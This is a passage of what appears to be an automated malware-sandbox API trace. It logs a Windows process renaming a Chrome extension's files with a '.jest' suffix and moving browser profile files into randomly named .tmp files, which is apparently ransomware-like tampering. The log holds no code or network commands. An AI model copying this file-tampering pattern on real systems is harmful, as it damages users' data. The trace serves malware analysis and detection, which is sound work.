ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ebc8, ftLastAccessTime.dwLowDateTime=0x1446100, ftLastAccessTime.dwHighDateTime=0x1436318, ftLastWriteTime.dwLowDateTime=0x28, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x2, nFileSizeLow=0x144eae0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.013] GetLastError () returned 0x2 [0150.013] VarBstrFromR4 (in: fltIn=0x47944fe3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.77") returned 0x0 [0150.013] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.014] CoFreeUnusedLibraries () [0150.014] GetTickCount () returned 0x11574c3 [0150.014] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.014] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.014] GetTickCount () returned 0x11574c3 [0150.014] IsWindowVisible (hWnd=0x30268) returned 0 [0150.014] Sleep (dwMilliseconds=0x0) [0150.015] GetFullPathNameA (in: lpFileName="8BYzekt-vdc3-P- 36tkiWrB9n7F8WiT_zWD_dcVXtPQ7bw5OMDVkP2eAiVl_8bt1pN8mrRts_Hcfd q6iFNKUw-urcwyLSUNZBIx.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8BYzekt-vdc3-P- 36tkiWrB9n7F8WiT_zWD_dcVXtPQ7bw5OMDVkP2eAiVl_8bt1pN8mrRts_Hcfd q6iFNKUw-urcwyLSUNZBIx.tmp", lpFilePart=0x18e708*="8BYzekt-vdc3-P- 36tkiWrB9n7F8WiT_zWD_dcVXtPQ7bw5OMDVkP2eAiVl_8bt1pN8mrRts_Hcfd q6iFNKUw-urcwyLSUNZBIx.tmp") returned 0x8f [0150.015] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log", lpFilePart=0x18e708*="000003.log") returned 0x66 [0150.015] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8BYzekt-vdc3-P- 36tkiWrB9n7F8WiT_zWD_dcVXtPQ7bw5OMDVkP2eAiVl_8bt1pN8mrRts_Hcfd q6iFNKUw-urcwyLSUNZBIx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8byzekt-vdc3-p- 36tkiwrb9n7f8wit_zwd_dcvxtpq7bw5omdvkp2eaivl_8bt1pn8mrrts_hcfd q6ifnkuw-urcwylsunzbix.tmp")) returned 0 [0150.016] GetLastError () returned 0x2 [0150.016] GetLastError () returned 0x2 [0150.016] SetLastError (dwErrCode=0x2) [0150.016] GetLastError () returned 0x2 [0150.016] SetLastError (dwErrCode=0x2) [0150.016] GetLastError () returned 0x2 [0150.016] SetLastError (dwErrCode=0x2) [0150.016] GetFullPathNameA (in: lpFileName="8BYzekt-vdc3-P- 36tkiWrB9n7F8WiT_zWD_dcVXtPQ7bw5OMDVkP2eAiVl_8bt1pN8mrRts_Hcfd q6iFNKUw-urcwyLSUNZBIx.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8BYzekt-vdc3-P- 36tkiWrB9n7F8WiT_zWD_dcVXtPQ7bw5OMDVkP2eAiVl_8bt1pN8mrRts_Hcfd q6iFNKUw-urcwyLSUNZBIx.tmp", lpFilePart=0x18e6e4*="8BYzekt-vdc3-P- 36tkiWrB9n7F8WiT_zWD_dcVXtPQ7bw5OMDVkP2eAiVl_8bt1pN8mrRts_Hcfd q6iFNKUw-urcwyLSUNZBIx.tmp") returned 0x8f [0150.016] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8BYzekt-vdc3-P- 36tkiWrB9n7F8WiT_zWD_dcVXtPQ7bw5OMDVkP2eAiVl_8bt1pN8mrRts_Hcfd q6iFNKUw-urcwyLSUNZBIx.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x7a594238, cFileName="ekt-vdc3-P- 36tkiWrB9n7F8WiT_zWD_dcVXtPQ7bw5OMDVkP2eAiVl_8bt1pN8mrRts_Hcfd q6iFNKUw-urcwyLSUNZBIx.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.016] GetLastError () returned 0x2 [0150.016] GetLastError () returned 0x2 [0150.017] SetLastError (dwErrCode=0x2) [0150.019] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.019] CoFreeUnusedLibraries () [0150.019] GetTickCount () returned 0x11574d3 [0150.019] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.019] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.019] GetTickCount () returned 0x11574d3 [0150.020] IsWindowVisible (hWnd=0x30268) returned 0 [0150.020] Sleep (dwMilliseconds=0x0) [0150.071] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.072] CoFreeUnusedLibraries () [0150.072] GetTickCount () returned 0x1157501 [0150.072] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.072] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.072] GetTickCount () returned 0x1157501 [0150.072] IsWindowVisible (hWnd=0x30268) returned 0 [0150.072] Sleep (dwMilliseconds=0x0) [0150.072] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.jest")) returned 1 [0150.074] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css", lpFilePart=0x18e6d8*="craw_window.css") returned 0x95 [0150.074] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x6000006, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x1439850, ftLastAccessTime.dwLowDateTime=0x144dfb0, ftLastAccessTime.dwHighDateTime=0x1438f78, ftLastWriteTime.dwLowDateTime=0x30, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.074] GetLastError () returned 0x2 [0150.075] VarBstrFromR4 (in: fltIn=0x47944feb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.84") returned 0x0 [0150.075] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.075] CoFreeUnusedLibraries () [0150.075] GetTickCount () returned 0x1157501 [0150.075] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.075] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.076] GetTickCount () returned 0x1157501 [0150.076] IsWindowVisible (hWnd=0x30268) returned 0 [0150.076] Sleep (dwMilliseconds=0x0) [0150.077] GetFullPathNameA (in: lpFileName="tp9dKfPO_86yvqmvgbKRvrKrs eCcx2zcfjNJRoUydLyBo2BcFbfzreuXkOwG7CmW7K4-wQ01gp7CA8yU4f rHL-QSzYOhyD7.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tp9dKfPO_86yvqmvgbKRvrKrs eCcx2zcfjNJRoUydLyBo2BcFbfzreuXkOwG7CmW7K4-wQ01gp7CA8yU4f rHL-QSzYOhyD7.tmp", lpFilePart=0x18e708*="tp9dKfPO_86yvqmvgbKRvrKrs eCcx2zcfjNJRoUydLyBo2BcFbfzreuXkOwG7CmW7K4-wQ01gp7CA8yU4f rHL-QSzYOhyD7.tmp") returned 0x8b [0150.078] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css", lpFilePart=0x18e708*="craw_window.css") returned 0x95 [0150.078] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tp9dKfPO_86yvqmvgbKRvrKrs eCcx2zcfjNJRoUydLyBo2BcFbfzreuXkOwG7CmW7K4-wQ01gp7CA8yU4f rHL-QSzYOhyD7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tp9dkfpo_86yvqmvgbkrvrkrs eccx2zcfjnjrouydlybo2bcfbfzreuxkowg7cmw7k4-wq01gp7ca8yu4f rhl-qszyohyd7.tmp")) returned 0 [0150.078] GetLastError () returned 0x2 [0150.078] GetLastError () returned 0x2 [0150.078] SetLastError (dwErrCode=0x2) [0150.078] GetLastError () returned 0x2 [0150.078] SetLastError (dwErrCode=0x2) [0150.079] GetLastError () returned 0x2 [0150.079] SetLastError (dwErrCode=0x2) [0150.079] GetFullPathNameA (in: lpFileName="tp9dKfPO_86yvqmvgbKRvrKrs eCcx2zcfjNJRoUydLyBo2BcFbfzreuXkOwG7CmW7K4-wQ01gp7CA8yU4f rHL-QSzYOhyD7.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tp9dKfPO_86yvqmvgbKRvrKrs eCcx2zcfjNJRoUydLyBo2BcFbfzreuXkOwG7CmW7K4-wQ01gp7CA8yU4f rHL-QSzYOhyD7.tmp", lpFilePart=0x18e6e4*="tp9dKfPO_86yvqmvgbKRvrKrs eCcx2zcfjNJRoUydLyBo2BcFbfzreuXkOwG7CmW7K4-wQ01gp7CA8yU4f rHL-QSzYOhyD7.tmp") returned 0x8b [0150.079] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tp9dKfPO_86yvqmvgbKRvrKrs eCcx2zcfjNJRoUydLyBo2BcFbfzreuXkOwG7CmW7K4-wQ01gp7CA8yU4f rHL-QSzYOhyD7.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x64397074, cFileName="KfPO_86yvqmvgbKRvrKrs eCcx2zcfjNJRoUydLyBo2BcFbfzreuXkOwG7CmW7K4-wQ01gp7CA8yU4f rHL-QSzYOhyD7.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.079] GetLastError () returned 0x2 [0150.079] GetLastError () returned 0x2 [0150.079] SetLastError (dwErrCode=0x2) [0150.080] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.080] CoFreeUnusedLibraries () [0150.080] GetTickCount () returned 0x1157501 [0150.080] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.080] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.080] GetTickCount () returned 0x1157501 [0150.080] IsWindowVisible (hWnd=0x30268) returned 0 [0150.080] Sleep (dwMilliseconds=0x0) [0150.081] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.jest")) returned 1 [0150.082] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html", lpFilePart=0x18e6d8*="craw_window.html") returned 0x97 [0150.082] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x158, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1410150, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x144ecf8, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.082] GetLastError () returned 0x2 [0150.083] VarBstrFromR4 (in: fltIn=0x47944feb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.84") returned 0x0 [0150.083] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.083] CoFreeUnusedLibraries () [0150.083] GetTickCount () returned 0x1157501 [0150.083] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.083] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.083] GetTickCount () returned 0x1157501 [0150.083] IsWindowVisible (hWnd=0x30268) returned 0 [0150.083] Sleep (dwMilliseconds=0x0) [0150.084] GetFullPathNameA (in: lpFileName="46eMqJIA9D9TRW-88Z7Zh7xwTT4t-2r0sZGVaW2u8sX- RVe9Jyhru1al1psVElYdAKxNbxwB75Rd0HDeJ-XdwK6UL 7DYFLk_Dm5.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\46eMqJIA9D9TRW-88Z7Zh7xwTT4t-2r0sZGVaW2u8sX- RVe9Jyhru1al1psVElYdAKxNbxwB75Rd0HDeJ-XdwK6UL 7DYFLk_Dm5.tmp", lpFilePart=0x18e708*="46eMqJIA9D9TRW-88Z7Zh7xwTT4t-2r0sZGVaW2u8sX- RVe9Jyhru1al1psVElYdAKxNbxwB75Rd0HDeJ-XdwK6UL 7DYFLk_Dm5.tmp") returned 0x8f [0150.084] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html", lpFilePart=0x18e708*="craw_window.html") returned 0x97 [0150.085] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\46eMqJIA9D9TRW-88Z7Zh7xwTT4t-2r0sZGVaW2u8sX- RVe9Jyhru1al1psVElYdAKxNbxwB75Rd0HDeJ-XdwK6UL 7DYFLk_Dm5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\46emqjia9d9trw-88z7zh7xwtt4t-2r0szgvaw2u8sx- rve9jyhru1al1psvelydakxnbxwb75rd0hdej-xdwk6ul 7dyflk_dm5.tmp")) returned 0 [0150.085] GetLastError () returned 0x2 [0150.085] GetLastError () returned 0x2 [0150.085] SetLastError (dwErrCode=0x2) [0150.085] GetLastError () returned 0x2 [0150.085] SetLastError (dwErrCode=0x2) [0150.085] GetLastError () returned 0x2 [0150.085] SetLastError (dwErrCode=0x2) [0150.085] GetFullPathNameA (in: lpFileName="46eMqJIA9D9TRW-88Z7Zh7xwTT4t-2r0sZGVaW2u8sX- RVe9Jyhru1al1psVElYdAKxNbxwB75Rd0HDeJ-XdwK6UL 7DYFLk_Dm5.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\46eMqJIA9D9TRW-88Z7Zh7xwTT4t-2r0sZGVaW2u8sX- RVe9Jyhru1al1psVElYdAKxNbxwB75Rd0HDeJ-XdwK6UL 7DYFLk_Dm5.tmp", lpFilePart=0x18e6e4*="46eMqJIA9D9TRW-88Z7Zh7xwTT4t-2r0sZGVaW2u8sX- RVe9Jyhru1al1psVElYdAKxNbxwB75Rd0HDeJ-XdwK6UL 7DYFLk_Dm5.tmp") returned 0x8f [0150.085] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\46eMqJIA9D9TRW-88Z7Zh7xwTT4t-2r0sZGVaW2u8sX- RVe9Jyhru1al1psVElYdAKxNbxwB75Rd0HDeJ-XdwK6UL 7DYFLk_Dm5.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4d653634, cFileName="qJIA9D9TRW-88Z7Zh7xwTT4t-2r0sZGVaW2u8sX- RVe9Jyhru1al1psVElYdAKxNbxwB75Rd0HDeJ-XdwK6UL 7DYFLk_Dm5.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.086] GetLastError () returned 0x2 [0150.086] GetLastError () returned 0x2 [0150.086] SetLastError (dwErrCode=0x2) [0150.086] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.087] CoFreeUnusedLibraries () [0150.087] GetTickCount () returned 0x1157501 [0150.087] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.087] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.087] GetTickCount () returned 0x1157501 [0150.087] IsWindowVisible (hWnd=0x30268) returned 0 [0150.087] Sleep (dwMilliseconds=0x0) [0150.087] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.jest")) returned 1 [0150.194] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png", lpFilePart=0x18e6d8*="icon_128.png") returned 0x95 [0150.194] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x6000006, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x1439850, ftLastAccessTime.dwLowDateTime=0x144dfb0, ftLastAccessTime.dwHighDateTime=0x1438f78, ftLastWriteTime.dwLowDateTime=0x30, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.194] GetLastError () returned 0x2 [0150.196] VarBstrFromR4 (in: fltIn=0x47944ff1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.88") returned 0x0 [0150.196] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.196] CoFreeUnusedLibraries () [0150.196] GetTickCount () returned 0x1157530 [0150.196] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.196] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.196] GetTickCount () returned 0x1157530 [0150.197] IsWindowVisible (hWnd=0x30268) returned 0 [0150.197] Sleep (dwMilliseconds=0x0) [0150.197] GetFullPathNameA (in: lpFileName="uKbe18xicRLCkwMd2R_5IpA Hn25KmdM_XZB-HoSlFLsegvNuRJreoA5d6k4G3BplA507NbLn5pt3kcPGd1iYQ4qGa NCCp6vbOY5.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uKbe18xicRLCkwMd2R_5IpA Hn25KmdM_XZB-HoSlFLsegvNuRJreoA5d6k4G3BplA507NbLn5pt3kcPGd1iYQ4qGa NCCp6vbOY5.tmp", lpFilePart=0x18e708*="uKbe18xicRLCkwMd2R_5IpA Hn25KmdM_XZB-HoSlFLsegvNuRJreoA5d6k4G3BplA507NbLn5pt3kcPGd1iYQ4qGa NCCp6vbOY5.tmp") returned 0x8f [0150.197] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png", 